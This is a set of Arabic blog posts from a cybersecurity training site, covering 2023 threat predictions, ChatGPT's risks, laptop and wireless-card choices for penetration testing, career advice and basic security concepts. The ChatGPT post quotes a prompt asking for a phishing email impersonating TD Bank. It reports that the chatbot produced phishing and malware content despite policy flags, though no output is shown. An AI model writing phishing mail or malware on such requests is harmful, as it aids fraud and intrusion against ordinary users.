ستبدأ العملية عندما يتم اختراق مؤسسة ما مع ظهور قوانين جديدة للخصوصية بالإضافة إلى تدابير جديدة للامتثال وبالتالي ستكون القواعد أكثر صرامة وسيكون هناك غرامات مالية كبيرة لأي شركة يتم تسريب بيانات عملائها من خلال الخروقات وتسريبات البيانات.

لن يكون لينكس محصناً ضد الهجمات

لا يعتبر خبراء الأمن السيبراني أن أنظمة لينكس تمثل تهديداً صفرياً ولكن هذا النظام استفاد تاريخياً من الاستهداف المنخفض له ومن المتوقع أن تزداد الهجمات الخاصة على أنظمة لينكس في هذا العام.

تزايد الهجمات التي ترعاها الدول

تعتبر الحرب السيبرانية واحدة من أكثر أدوات الحرب الحديثة كفاءة وفعالية وكما شهدنا في عام 2022 فقد تحول الفضاء السيبراني لساحة معركة من أوراق الاعتماد المسربة وهجمات سلاسل التوريد والخروقات وفقدان الأسرار الصناعية إلى مهاجمة دول أخرى لأهداف استخباراتية أو جيوسياسية.

لا يمكننا أبداً أن نتخلى عن حذرنا على الساحة العالمية عندما يتعلق الأمر بالإجراءات الاستباقية للتهديدات السيبرانية المتطورة وخاصة مع ازدياد عدد الدول التي تشارك حالياً في حروب إلكترونية ضد بعضها.

في النهاية

تعتبر التنبؤات أمراً مضحكاً بالنسبة للعديد من الأشخاص ولكن هذا الأمر لا ينطبق على مجال الأمن السيبراني.

لا يوجد شيء أسوأ من مواجهة موقف لا يكون لديك أي فكرة عنه أو كيفية التعامل مع هجوم محتمل أو اكتشاف أن فريق الحماية لديك كان بإمكانه منع هذه المواقف باستخدام أدوات وخدمات وممارسات أفضل للأمن السيبراني.

هذا هو سبب أهمية هذه التنبؤات لعام 2023 رغم أنها قد لا تكون مثالية ولكنها تساعد على التخطيط بعناية لوضعنا الأمني والاستعداد لمواجهة بعض أكثر الجهات الفاعلة السيئة والعقول الإجرامية في الفضاء الإلكتروني وقد تساعد هذه التنبؤات في وضع إطار عمل لكيفية الاستعداد للتهديدات المحتملة في العام الجديد.

Chat GPT وتهديداته على الواقع الحالي

Thu, 22 Dec 2022 11:54:03 GMT

Chat GPT روبوت دردشة من OpenAI مبني على GPT-3، يولّد ردوداً شبيهة بالبشر في الوقت الفعلي ووصل إلى مليون مستخدم في أقل من أسبوع. يهدد Google لأنه يقدم إجابة واحدة فورية بدل قائمة روابط، لكن خطره الأكبر في إساءة استخدامه لكتابة رسائل تصيد خالية من الأخطاء وإنتاج برامج ضارة.

استحوذ برنامج chatbot جديد يسمى Chat GPT على الإنترنت تاركاً الكثيرين ممن يستخدمونه في حالة صدمة بسبب تألقه.

أصدرت شركة OpenAI برنامج ChatGPT وهو نموذجها الأولي لروبوت الدردشة المدعوم بالذكاء الاصطناعي والذي اكتسب الكثير من الزخم بين الجمهور لإجاباته التفصيلية الشبيهة بالإنسان على الاستفسارات.

بحسب الرئيس التنفيذي سام التمان وصل البرنامج إلى علامة المليون مستخدم بعد أقل من أسبوع من إطلاقه.

يعد Chat GPT أو نماذج المحولات المدربة مسبقاً المستندة إلى الدردشة، نوعاً من الذكاء الاصطناعي الذي يسمح للمستخدمين بالتفاعل مع مساعد افتراضي باستخدام لغة طبيعية.

تعتمد هذه التقنية على مبادئ GPT-3، الجيل الثالث من نموذج المحولات التوليدية الشهيرة المدربة مسبقاً.

تتمثل إحدى الميزات الرئيسية لدردشة GPT في قدرتها على إنشاء ردود في الوقت الفعلي، بناءً على مدخلات المستخدم.

ما هي مقدرات Chat GPT؟

تتضمن بعض التطبيقات المحتملة للدردشة Chat GPT خدمة العملاء والدعم والتعليم والتدريب والمساعدين الشخصيين.

مع ذلك، هناك أيضاً مخاوف بشأن الآثار المحتملة لهذه التكنولوجيا مثل فقدان الوظائف وتقليل التفاعل البشري.

كيف تم تدريب Chat GPT؟

تم تدريب Chat GPT على بحر من النصوص الرقمية المستخرجة من الإنترنت, وعندما اختبر الناس هذا النظام طلب منهم تقييم ردوده.

Open AI الشركة التي تقف وراء Chat GPT، تجري أبحاثاً في مجال الذكاء الاصطناعي بهدف معلن وهو تعزيز وتطوير الذكاء الاصطناعي الودود بطريقة تفيد البشرية ككل.

ما الذي يميز Chat GPT؟

ما يميز GPT عن تقنيات chatbot الأخرى هو قدرتها على إنشاء ردود في الوقت الفعلي بناءً على مدخلات المستخدم ويتيح ذلك إجراء محادثة أكثر طبيعية وانسيابية، حيث يمكنه فهم مجموعة واسعة من الأسئلة والبيانات والرد عليها.

على الرغم من الفوائد المحتملة لـ Chat GPT، هناك أيضاً مخاوف بشأن آثارها

يجادل بعض النقاد بأن استخدام الدردشة GPT قد يؤدي إلى فقدان الوظائف وتقليل التفاعل البشري، مما قد يضر بالروابط والعلاقات الاجتماعية.

لماذا يمثل Chat GPT تهديداً لـ Google؟

قد تكون أكبر فائدة لـ Chat GPT هي كارثة مالية لـ Google من خلال توفير إجابات فائقة على الاستفسارات التي نضعها حالياً في أقوى محرك بحث في العالم.

يعمل Google عن طريق الزحف إلى مليارات من صفحات الويب وفهرسة هذا المحتوى ثم ترتيبه حسب الإجابات الأكثر صلة ثم ينشر قائمة من الروابط للنقر عليها.

يقدم Chat GPT شيئاً أكثر إثارة لمستخدمي الإنترنت المتعثرين: إجابة واحدة تعتمد على بحثها الخاص وتوليفها لتلك المعلومات.

تم تدريب Chat GPT على ملايين المواقع الإلكترونية ليس فقط لاكتساب مهارة إجراء محادثة شبيهة بالبشر ولكن المعلومات نفسها، طالما تم نشرها على الإنترنت قبل أواخر عام 2021.

يوفر Chat GPT أيضاً استجابة واحدة وفورية لا تتطلب مزيداً من البحث عن مواقع الويب الأخرى.

ماذا سيكون مستقبل Google ووظائفنا والعالم بأسره؟ ما السعر الذي نحن على وشك دفعه مقابل التوافر الشامل للذكاء الاصطناعي في متناول الجميع؟

يمكن لـ Chat GPT كتابة رسائل البريد الإلكتروني المخادعة دون أخطاء؟

يعد التهجئة الضعيفة والقواعد المربكة من بين السمات الأكثر دلالة في رسائل البريد الإلكتروني الاحتيالية.

يقترح البعض أن هذا قد يكون هو الحال لأن رسائل البريد الإلكتروني هذه تأتي من مناطق لا تكون اللغة الإنجليزية هي اللغة الأم للجهات المنفذة للتهديد

تخمن نظريات أخرى أن الأخطاء الإملائية يمكن تقديمها عن قصد من قبل مرسلي البريد العشوائي على أمل تجنب مرشحات البريد العشوائي

ليس لدينا إجابة موثوقة حتى الآن.

ما نعرفه هو أن Open GPT يجعل المهمة أسهل بكثير.

إليك كيفية استجابة هذا الإحساس سريع الذكاء، “اكتب رسالة بريد إلكتروني تصيد يبدو أنها واردة من بنك TD”.

“اكتب رسالة بريد إلكتروني تصيد يبدو أنها واردة من بنك TD”.

طرحنا مجموعة من المطالب على Chat GPT لإنتاج برامج ضارة خطيرة, تم الإبلاغ عن بعض هذه الطلبات فقط بسبب انتهاك سياسة المحتوى وفي كلتا الحالتين، امتثلت Chat GPT للمتطلبات وقامت بتسليم المحتوى.

نحن مقتنعون بالنسبة لأولئك الذين يطرحون الأسئلة الصحيحة بشكل خبيث يمكن أن يتحول Chat GPT إلى “ترسانة شيطانية من الأسلحة السيبرانية”.

البرامج الضارة

الخلاصة

نحن في تريندتك نؤمن بأن توفير أدوات مبنية على الذكاء الاصطناعي ستقوم بمساعدت جميع المستخدمين الذين يطمحون للحصول على إجابات لأسئلتهم العالقة “لكن” تكمن خطورة هذه الأدوات وغيرها نتيجة الإستخدام الخاطئ أو الغير شرعي.

نتمنى من جميع المتابعين أن يحافظوا على سلامتهم واحترام خصوصية الآخرين من خلال استخدام هذه الأدوات أو غيرها لأهداف علمية أو تدريبية مفيدة.

أفضل لابتوب لمجال الأمن السيبراني والاختراق

Mon, 12 Dec 2022 18:12:09 GMT

لا تحتاج إلى أحدث لابتوب لتبدأ في الأمن السيبراني، فالمجال يعتمد على المهارات بنسبة 80% وعلى الجهاز بنسبة 20%. استثمر في ذاكرة RAM (الحد الأدنى 4 GB وقد تصل إلى 32 GB للمحترفين) أكثر من المعالج، واستخدم كرت شبكة لاسلكية خارجياً مثل Alfa يدعم monitor mode وحقن الحزم، ويكفي جهاز قديم لتشغيل Kali أو Parrot.

السؤال الذي يُطرح بشكل متكرر ويراود كل شخص يريد أن يبدأ في مجال الأمن السيبراني

ما هو أفضل لابتوب لمجال الأمن السيبراني؟

ما هو أفضل لابتوب للاختراق؟

بشكل شخصي تلقيت هذا السؤال عشرات المرات لذا دعنا نحاول معالجة هذا الأمر ولنقدم لك بعض الأفكار والنصائح قبل أن تقوم بشراء جهاز لتبدأ حياتك المهنية في مجال الأمن السيبراني.

(للتعرف على كل ما هو جديد في مجال الأمن السيبراني تابع قناتنا على التلغرام)

الاعتقاد الخاطئ

في البداية وقبل الإجابة على هذا السؤال دعني كالعادة أن ابدأ بنسف الاعتقاد الخاطئ حول هذا الأمر

يعتقد الكثير من الأشخاص أنهم بحاجة إلى أحدث لابتوب/ كمبيوتر محمول لينجحوا في هذا المجال وبالتأكيد هذا الاعتقاد خاطئ

الأمن السيبراني أو الاختراق يركز على طريقة التفكير والمعرفة والمهارات بنسبة 80% وعلى الجهاز بنسبة 20%

الأمر هنا مختلف عن الألعاب التي تحتاج لمواصفات عالية ككرت الشاشة وذاكرة الوصول العشوائي RAM

نحن كمحترفين في مجال الأمن السيبراني تطبيقاتنا بشكل عام بسيطة نسبياً وبالتالي لا نحتاج في عملنا لأحدث جهاز أو أقوى المواصفات

الأمر المهم هو أن تبدأ حتى ولو بجهاز قديم

عندما بدأت في هذا المجال (في عام 2013) كنت امتلك جهاز بمواصفات عادية وكنت أطبع الكتب بشكل ورقي لأتمكن من دراستها ولكنني بدأت ولم اخلق اعذاراً والآن لدي أكثر من جهاز من أعلى المواصفات

ما أود قوله:

إذا كنت لا تستطيع شراء أحدث وأفضل جهاز فمن الممكن كبداية أن تشتري جهاز مستعمل ورخيص والمهم أن تبدأ التعلم والعمل بدلاً من أن تنتظر حصولك على الجهاز المثالي، ما عليك فعله الآن هو تطوير مهاراتك والتي هي 80% من هذا المجال

في مجال الأمن السيبراني نحن نعتمد وبشكل كبير على نظام التشغيل لينكس والذي يعتبر خفيف نسبياً بالمقارنة مع نظام الويندوز بالإضافة إلى أن معظم الأدوات التي نستخدمها هي عبارة عن سكريبتات أو أكواد برمجية بسيطة لا تتطلب الكثير من المصادر لذا دعونا نتفق على أنك لست بحاجة لشراء جهاز باهظ الثمن لتبدأ في مجال الأمن السيبراني

إذاً ما هو أفضل لابتوب لمجال الأمن السيبراني؟

مواصفات الجهاز المناسب لمجال الأمن السيبراني

ما نحتاجه بالفعل هو المعالج أو وحدة المعالجة المركزية CPU والتي تعتبر دماغ الجهاز ولا يهم بالنسبة لنا إن كان المعالج Intel or AMD المهم كيف يعمل وليس المهم السرعة، كلما زادت سرعة المعالج كلما زاد السعر وبالتأكيد يمكنك استخدام جهاز بمعالج ليس سريعاً جداً وبسعر أرخص مع أداء مقبول

المعالج ليس مهم جداً في معظم التطبيقات التي نستخدمها في مجال الأمن السيبراني أو الاختراق باستثناء بعض الأمور مثل هجمات القوة الغاشمة لكسر كلمات السر أو الهاش الخاص بها وخاصة إذا كانت كلمة السر معقدة فلن يتمكن معالجك من الوصول لها، في مثل هذا السيناريو يمكنك الاستفادة من خدمات الحوسبة السحابية للحصول على نظام بمواصفات عالية للمعالج وبشكل مؤقت وبتكلفة قليلة

ما نحتاجه في هذا المجال هو ذاكرة الوصول العشوائي RAM لأننا سنكون بحاجة لتشغيل عمليات وتطبيقات متعددة في نفس الوقت وفي بعض الأحيان نقوم بتشغيل أكثر من نظام افتراضي VM – Virtual machine في نفس الوقت وبالتالي كلما زادت ذاكرة الوصول العشوائي RAM لديك قلت المشاكل التي سوف تواجهها وستكون الأمور أكثر سلاسة لديك

ما مقدار ذاكرة RAM المطلوبة؟

الحد الأدنى هو RAM 4 GB وكلما كنت محترفاً فإن عملك سيحتاج إلى ذاكرة RAM إضافية والتي قد تصل إلى RAM 32 GB وبالتأكيد سيكون هذا الأمر أكثر تكلفة ولهذا السبب إذا كنت تريد أن تنفق أموالك في المكان الصحيح فاستثمر هذا المبلغ للحصول على ذاكرة RAM أكبر.

كرت الشبكة اللاسلكية

بالتأكيد سوف تقوم بهجمات خاصة على الشبكات اللاسلكية (الأمر المحبب لدى الجميع) وبالتالي ستحتاج لاستثمار قليلاً في كرت الشبكة اللاسلكية والذي يجب أن يدعم بعض الأمور الإضافية مثل العمل في نمط المراقبة monitor mode وأن يدعم آلية حقن حزم البيانات في الوسط المحيط (ستحتاج هذا الأمر لتنفيذ العديد من الهجمات)

الأداة الأكثر شهرة للقيام بهجمات كسر كلمة السر الخاصة بالشبكات اللاسلكية هي aircrack-ng يمكنك الاطلاع على الشرائح المتوافقة مع هذه الأداة من الموقع الرسمي لهذه الأداة

معظم الأشخاص لا يعرفون ما هي الشرائح chipset الموجودة ضمن كرت الشبكة في جهازهم لذلك وببساطة يمكنك استخدام كرت شبكة لاسلكية خارجي من نوع Alfa wifi adapter والذي يدعم كل هذه الميزات المطلوبة بشكل تلقائي

Alfa wifi adapter

إعداد بيئة اختبار آمنة

يمكنك تنصيب نظام التشغيل كالي لينكس ضمن VM مع RAM 2 GB فقط وهي كافية لعمل هذا النظام بشكل جيد مع تخصيص RAM 1 GB للنظام الذي يحوي على ثغرات وهو نظام metasploitable2 وهذه البيئة تسمح لك باختبار معظم أدوات اختبار الاختراق الخاصة بالأنظمة والخاصة بتطبيقات الويب ضمن بيئة تجريبية آمنة

إليك هذه الدورة المجانية التي تشرح طريقة إعداد هذه البيئة “دليل تنصيب كالي لينكس”

كما يمكنك استخدام نظام التشغيل Parrot بدلاً من الكالي والذي يعمل بمصادر أقل من الكالي ولكن إن كنت مبتدأ في هذا المجال أنصحك بأن تستخدم الكالي لكونه أكثر شهرة ومدعوم من مجتمع اكبر وبالتالي ستجد إجابات عن كل الأسئلة والمشاكل التي ستواجهك بشكل أسرع

كلا النظامين Kali and Parrot مبنيان على توزيعة ديبيان وفي حال اتقانك للأساسيات ستكون قادر على التعامل مع أي توزيعة من نظام لينكس

يمكنك ان تبدأ في هذا المجال بجهاز قديم وحتى لو كان بذاكرة RAM 2 GB فقط أو أقل من خلال تنصيب نظام Kali or Parrot كنظام أساسي وبالتالي الاستفادة من كامل مصادر النظام

في النهاية

توقف عن طرح الأسئلة الكثيرة وابدأ الآن وتعلم المهارات المطلوبة والتي هي 80% من هذا المجال بالمقابل فإن الجهاز هو 20% فقط

يمكنك تعلم كل المهارات المطلوبة لتبدأ في مجال الأمن السيبراني من خلال هذه الدورة

يمكنك التواصل معنا عبر الفيسبوك “المهندس جميل حسين طويله” للحصول على المزيد من النصائح والتدريب في هذا المجال

كيف أبدأ في مجال الأمن السيبراني

Mon, 05 Dec 2022 11:02:20 GMT

لا تحتاج إلى شهادة في الأمن السيبراني أو علوم الكمبيوتر لتبدأ في هذا المجال، فكثير من المختصين جاؤوا من خلفيات غير تقنية. ابدأ بالأساسيات: شبكات الحاسب، وأنظمة التشغيل وخاصة لينكس عبر سطر الأوامر، وأساسيات الحماية، وآلية عمل الويب وبروتوكول HTTP، ثم البرمجة بلغة بسيطة مثل Python، وامنح نفسك وقتاً قبل اختيار التخصص.

من منا لم يسأل هذا السؤال: كيف ابدأ في مجال الأمن السيبراني وكيف احصل على عمل في هذا المجال؟

نظراً لأن المنظمات والحكومات في جميع أنحاء العالم معرضة بشكل متزايد للتهديدات السيبرانية ومع ازدياد حوادث الاختراق وتسريب المعلومات يزداد الطلب بشكل يومي على المختصين في مجال الأمن السيبراني بالإضافة لوجود طلب متزايد على تدريب الأشخاص في هذا المجال للمساعدة في الدفاع ضد هذا التهديد المتزايد

الأمن السيبراني هو مجال سريع الخطى وديناميكي للغاية مع مجموعة واسعة من التخصصات الفرعية، مما يتيح لك العمل في أي مكان في العالم تقريباً، مع ميزات وعوائد مالية جيدة وفرص لإحداث فرق حقيقي وملموس (للتعرف على كل ما هو جديد في مجال الأمن السيبراني تابع قناتنا على التلغرام)

هل فكرت في العمل كمحترف في مجال الأمن السيبراني و لكنك لست متأكد فيما إذا كانت لديك الخلفية اللازمة لتتمكن من النجاح في هذا التخصص؟

لا تقلل من قيمتك وكن واثقاً من نفسك ومن قدراتك

ولكن ألا أحتاج إلى شهادة في الأمن السيبراني أو في علوم الكمبيوتر؟

الإجابة المختصرة: “لا”

يوجد العديد من أشهر المتخصصين في مجال الأمن السيبراني الذين أعرفهم من خلفيات غير تقنية ومعظمهم قد درس وحصل على شهادات غير تقنية مثل اللغة الإنجليزية أو الطب أو علم النفس أو حتى خلفيات في مجالات مثل الهندسة الميكانيكية

تماماً مثل المقولة الشهيرة “يمكن لأي شخص الطهي” كذلك يمكن لأي شخص أن يبدأ في مجال الأمن السيبراني

عند الحديث عن مسيرتك وتاريخك الحافل بالمعارك من أجل الحصول على عمل يحقق لك الدخل المطلوب يمكنك التفكير أيضاً بالحصول على فرصة عمل في مجال الأمن السيبراني حتى لو كنت من خلفية غير تقنية

في كثير من الحالات، يمكن أن يكون امتلاك خلفية غير تقنية ميزة في الأمن السيبراني حيث تقدم تجارب ووجهات نظر فريدة قد نحتاجها بالفعل في هذا المجال

الاعتقاد الخاطئ

يعتقد الكثير من الأشخاص أن الأمن السيبراني يدور حول اختراق الأجهزة أو كسر الحماية المطبقة و لكن بالحقيقة فإن الأمن السيبراني يساعد في حماية كل من التكنولوجيا والأشخاص و مفتاح نجاحك في هذا المجال قد لا يكون الخلفية التقنية وممكن أن يكون رغبتك في تعلم كيفية عمل التكنولوجيا وعدم التوقف عن التعلم أبداً

هناك عدد متزايد من المجالات في الأمن السيبراني التي لا تركز على حل المشاكل التقنية وبدلاً من ذلك فهي تركز على المشاكل البشرية وقد تتطلب هذه الأمور مهارات غير تقنية مثل تطوير السياسات وبرامج الوعي الأمني والتدريب والحوكمة والخصوصية أو القوانين أو الجوانب الأخلاقية

كيف أبدأ في مجال الأمن السيبراني

في العديد من الأمور يمكن أن يتم تشبيه الأمن السيبراني بالهندسة أو الرعاية الصحية، يوجد العديد من المسارات المختلفة التي يمكنك التخصص بها، بدءاً من التحليل الجنائي الرقمي للأجهزة المحمولة إلى الاستجابة للحوادث إلى اختبار الاختراق إلى حماية أجهزة العقد النهائية أو حتى تطوير برامج التوعية الأمنية

لقد أنشأت المبادرة الوطنية لوظائف ودراسات الأمن السيبراني دليلاً لجميع الوظائف والفرص المختلفة في الأمن السيبراني، إذا كنت مهتماً بالتعرف على المجالات والتخصصات المختلفة فهذا المكان هو الأفضل للبدء بذلك

لا تقلق بشأن المسار الذي يجب أن تسلكه، في البداية امنح نفسك وقتاً لفهم التقنيات والمجالات المختلفة ومع مرور الوقت ستوجه اهتماماتك للمجال الذي يلبي شغفك وطموحك

في البداية أنصحك بأن تلقي نظرة عامة على الأساسيات:

أساسيات شبكات الحاسب

يمكن تعريف شبكة الحاسب على أنها مجموعة من الأجهزة التي تتواصل مع بعضها البعض وقادرة على مشاركة البيانات والمصادر المختلفة

تعلم كيفية عمل الشبكات والأمور الأساسية الخاصة بها كالطبقات السبعة OSI Model وبرتوكولات الشبكة الأساسية وأنظمة العنونة بالإضافة لآلية عمل أجهزة الشبكة كالسويتش والراوتر والتي تعتبر مهارة لا تقدر بثمن وتعتبر حجر الأساس لأي عمل في هذا المجال

تشمل المهارات الأخرى التقاط وتحليل حركة البيانات عبر الشبكة واكتشاف المشاكل والأخطاء أو الهجمات من خلال تحليل حركة البيانات

إليك وبشكل مجاني كتاب “الدليل الشامل لأساسيات الشبكات بمجال الأمن السيبراني“

أنظمة التشغيل

تعلم أساسيات أنظمة التشغيل، أكثر أنظمة التشغيل شيوعاً هما Linux and Windows بشكل عام معظم الأشخاص لديهم المعرفة الأساسية للتعامل مع أنظمة الويندوز لذا أنصحك بالبدء باستخدام نظام لينكس أولاً وتعلم كيفية إدارة هذه الأنظمة باستخدام سطر الأوامر (CLI) بدلاً من واجهة المستخدم الرسومية (GUI)

يعد تعلم كيفية إدارة أنظمة لينكس من خلال سطر الأوامر مهارة قوية جداً و ستساعدك بغض النظر عن المسار الذي سوف تسلكه

أساسيات الحماية

من المهم أن تتعرف على الأمور الأساسية في الحماية وأن تدرك المصطلحات الأساسية وأن تكون قادر على فهم ما هي الثغرات وما هي الأساليب المتبعة في الهجمات والتعرف على أنظمة وأجهزة الحماية المختلفة

أساسيات الويب

من المهم جداً أن تفهم كيف تعمل مواقع الانترنت وكيف تتم عملية الاتصال بين متصفحك وبين سيرفر الويب ولهذا الأمر يجب أن تتعرف على الأمور الأساسية في الويب وآلية عمل البرتوكول HTTP وطريقة عمل سيرفرات الويب والأمور الأخرى المتعلقة بها

البرمجة

اكتشف واطلع على الأمور الأساسية في البرمجة

البرمجة هي كتابة الأكواد التي يتم من خلالها بناء أنظمة التشغيل والتطبيقات التي تعمل على أجهزة الكمبيوتر والأجهزة المحمولة وتطبيقات ومواقع الويب

يتم كتابة هذه الأكواد من قبل المبرمج (غالباً ما يطلق عليه اسم المطور developer)

أنصحك أن تبدأ أولاً بلغات بسيطة مثل لغة البايثون Python أو أن تبدأ بالأمور الخاصة بتطوير مواقع الويب مثل HTML and CSS و لغة البرمجة جافا سكريبت Javascript وإذا اكتشفت أنك تستمتع بهذا الأمر فيمكنك الانتقال إلى لغات وأطر عمل أكثر تقدماً

هذا الأمر لا يحتاج إلى دورات ضمن مراكز تدريبية ويمكنك البدء عبر الإنترنت، يوجد عدد كبير من الدورات والكتب باللغة العربية مخصصة للمبتدئين و كل ما تحتاجه هو جهاز كمبيوتر وبعض الإرشادات ويمكنك البدء بأساسيات البرمجة على الفور

من أين أبدأ في مجال الأمن السيبراني

إليك أسرع طريقة لتكتسب كل المهارات السابقة والمزيد وهي معسكر الأمن السيبراني والذي يعتبر المعسكر الأقوى على مستوى الوطن العربي

كل ما تحتاجه لتلبية متطلبات سوق العمل في مجال الأمن السيبراني، في معسكر احترافي واحد

ماذا ستتعلم في هذا المعسكر؟

الشبكات من وجهة نظر الأمن السيبراني – فهم البنية التحتية وكيفية تأمينها.
أنظمة التشغيل والحوسبة السحابية – أساسيات لا غنى عنها لأي مختص.
أساسيات الأمن السيبراني – القواعد الأساسية للحماية من المخاطر.
مهارات الفريق الأحمر – كيف تفكر بعقلية المهاجم.
مهارات الفريق الأزرق – الدفاع عن الأنظمة ضد الهجمات.
المهارات غير التقنية – لأن النجاح لا يعتمد على المهارات التقنية فقط!

والجديد كلياً:

حماية إنترنت الأشياء (IoT Security)
أساسيات GRC – الحوكمة وإدارة المخاطر والامتثال لمعايير الأمن السيبراني العالمية
الذكاء الاصطناعي والأمن السيبراني

للمزيد من التفاصيل تواصل معنا عبر الفيسبوك “المهندس جميل حسين طويله“

في النهاية

إن كنت مهتماً بالبدء في مجال الأمن السيبراني فلا تدع تعليمك أو خلفيتك الغير تقنية تحد من مسار حياتك المهنية أو تحد من خياراتك وطموحك، بغض النظر عن خلفيتك العلمية فأنت بالتأكيد سوف تجلب وتضيف أمور فريدة وخاصة لهذا المجال

طالما لديك الشغف والرغبة في التعلم فأنت على الطريق الصحيح، لا تفقد هذا الشغف وبمجرد أن تبدأ في تطوير مهارتك سوف تأتي الفرص لذا ثق بنفسك وابدأ خطوتك الأولى

ما هو الأمن السيبراني

Sun, 27 Nov 2022 19:04:24 GMT

الأمن السيبراني هو كل الإجراءات والتدابير المتخذة لحماية الشبكات والبيانات المتبادلة عبرها من الاستخدام غير المصرح به أو السيئ، على مستوى الأفراد والشركات والدول. تواجه الشركات تهديدات داخلية من موظفين بقصد أو دون قصد، وخارجية مثل استغلال الثغرات والهندسة الاجتماعية ومنع الخدمة والبرمجيات الخبيثة. يتطلب العمل فيه مهارات تقنية وأخرى غير تقنية.

أصبحت شبكة الانترنت جزءاً أساسياً من حياتنا اليومية ويعتمد عمل العديد من المؤسسات الحكومية والطبية والمالية والتعليمية على هذه الشبكة والتي تعمل من خلال جمع المعلومات الرقمية ومعالجتها وتخزينها ومشاركتها لذلك أصبحت حماية هذه المعلومات (الأمن السيبراني) أكثر أهمية لأمننا القومي واستقرارنا الاقتصادي.

تعريف الأمن السيبراني

يمكن تعريف الأمن السيبراني على أنه كل الإجراءات والتدابير المتخذة لحماية هذه الشبكات والبيانات المتبادلة عبرها من الاستخدام الغير مصرح به أو الاستخدام السيء لها

وهذا الأمر يجب أن يتم على المستوى الشخصي كحماية هويتك وبياناتك وأجهزتك عبر شبكة الانترنت وعلى مستوى الشركات كحماية سمعة الشركة وبياناتها ومعلومات عملائها و على مستوى الدول كحماية الأمن القومي وسلامة المواطنين.

عندما كنت طفلاً هل كنت تتمنى أن تكون مدافعاً عن الكون تمتلك مهارات مذهلة وتكتشف المخاطر وتحمي الأبرياء وتبحث عن الأشرار وتقدمهم للعدالة؟

هل تعلم أنك تستطيع أن تحصل على عمل يحقق لك كل هذه الأمنيات؟

خبير الأمن السيبراني
التحليل الجنائي الرقمي
خبير أمن المعلومات
هاكر أخلاقي

كل هذه الأدوار يمكن أن تكون جزءاً من عملك في مجال الأمن السيبراني المثير والمتغير باستمرار

هناك عدد متزايد من المجالات في الأمن السيبراني التي لا تركز على حل المشكلات التقنية وبدلاً من ذلك فهي تركز على المشاكل البشرية وقد تتطلب هذه الأمور مهارات غير تقنية مثل تطوير السياسات وبرامج الوعي الأمني والتدريب والحوكمة والخصوصية أو القوانين أو الجوانب الأخلاقية

لماذا الأمن السيبراني؟

لمعرفة أهمية الأمن السيبراني دعنا نتعرف على أهمية البيانات والتهديدات الأمنية الرقمية على المستوى الشخصي وعلى مستوى الشركات

بياناتك على شبكة الانترنت

يمكن اعتبارها أي معلومات خاصة بك يتم نشرها أو تبادلها عبر شبكة الانترنت وتتضمن الصور والرسائل التي تتبادلها مع عائلتك وأصدقائك عبر برامج المحادثة الفورية أو التي تقوم بنشرها عبر مواقع التواصل الاجتماعي بالإضافة لأي معلومات أخرى مثل الاسم ورقم الضمان الاجتماعي وتاريخ ومكان الميلاد والمعلومات الطبية والتعليمية والمالية ومعلومات العمل وأي نوع من المعلومات الأخرى الخاصة بك والموجودة على شبكة الانترنت

ونظراً لأهمية هذه المعلومات يجب أن تسأل نفسك الاسئلة التالية:

ما هي القوانين التي تحمي خصوصيتك وبياناتك، أين توجد هذه البيانات ومن يمكنه الاطلاع عليها؟

معلوماتك الصحية يتم تسجيلها ضمن السجلات الصحية في المشافي والعيادات
الفواتير والمعلومات المالية يمكن أن يتم مشاركتها مع شركات التأمين
معلومات الشراء يمكن أن يتم الاحتفاظ بها من قبل المتاجر لإنشاء ملف خاص بك كزبون أو يمكن استخدامها لأغراض أخرى
عندما تقوم بمشاركة صورك عبر الإنترنت في مواقع التواصل الاجتماعي هل تقوم بتحديد من يمكنه مشاهدتها هل تعرف من يمكنه الوصول ورؤية هذه الصور ونسخها أو تحميلها
الأجهزة الخاصة بك لا تقوم فقط بتخزين بياناتك بل هي بوابة تؤدي للوصول إلى بياناتك وتوليد معلومات عنك.

إذا كنت ترغب في الحصول على نسخة رقمية من آخر كشف لبطاقة الائتمان فأنت تستخدم جهاز الحاسب أو الموبايل للوصول إلى موقع الويب الخاص بهذه الخدمة و إذا كنت ترغب في دفع فاتورة خاصة بك عبر شبكة الإنترنت فيمكنك الوصول إلى موقع البنك الخاص بك لتحويل الأموال باستخدام أحد أجهزتك (الحاسب أو الموبايل)

بالإضافة إلى السماح لك بالوصول إلى معلوماتك يمكن لأجهزتك أيضاً إنشاء معلومات عنك.

مع توفر كل هذه المعلومات عنك على شبكة الإنترنت، أصبحت بياناتك الشخصية متاحة للمهاجمين الذين يسعون للحصول على:

بيانات الاعتماد الخاصة بك كمعلومات تسجيل الدخول والتي إذا تمكنوا من الحصول عليها سيكون لديهم إمكانية الوصول إلى حساباتك
يمكنهم أيضاً الاستفادة من علاقاتك من خلال الوصول إلى حساباتك على الإنترنت وطلب الأموال من أصدقائك أو أفراد عائلتك
المجرمين مبدعون للغاية فهم لا يسرقون أموالك فقط بل يمكنهم أيضاً سرقة هويتك الرقمية وتدمير حياتك

التهديدات الأمنية الرقمية على الشركات

يمكن أن يتم تنفيذ الهجمات من داخل المنظمة أو من خارجها

التهديدات الأمنية الداخلية

يمكن لمستخدم داخلي موظف مثلاً أن يكون مصدر للتهديد وهذا الأمر ممكن أن يتم بشكل مقصود أو غير مقصود:

سوء التعامل مع البيانات السرية
تهديد عمليات السيرفرات أو الأجهزة الداخلية أو أجهزة البنية التحتية للشبكة
تسهيل الهجمات الخارجية عن طريق توصيل USB تحوي نوع من البرمجيات الخبيثة يسمح للجهات الخارجية باختراق أنظمة الشركة
إصابة جهازه بدون علمه ببرمجيات خبيثة تسمح لجهة خارجية بالوصول لشبكة الشركة الداخلية

يمكن أن تتسبب التهديدات الداخلية في أضرار أكبر من التهديدات الخارجية، لأن المستخدمين الداخليين لديهم إمكانية الوصول المباشر إلى المبنى وأجهزته الأساسية

يمتلك الموظفون أيضاً معرفة بشبكة الشركة ومواردها وبياناتها السرية

التهديدات الأمنية الخارجية

يمكن أن يكون مصدر التهديدات الخارجية هم الهواة أو الأشخاص المحترفين

التالي بعض هذه التهديدات:

استغلال الثغرات الأمنية ونقاط الضعف في الشبكة أو في أجهزة وسيرفرات الشركة
هجمات الهندسة الاجتماعية
هجمات منع الخدمة
البرمجيات الخبيثة (الفيروسات وبرامج الفدية)

كيف أبدأ في مجال الأمن السيبراني

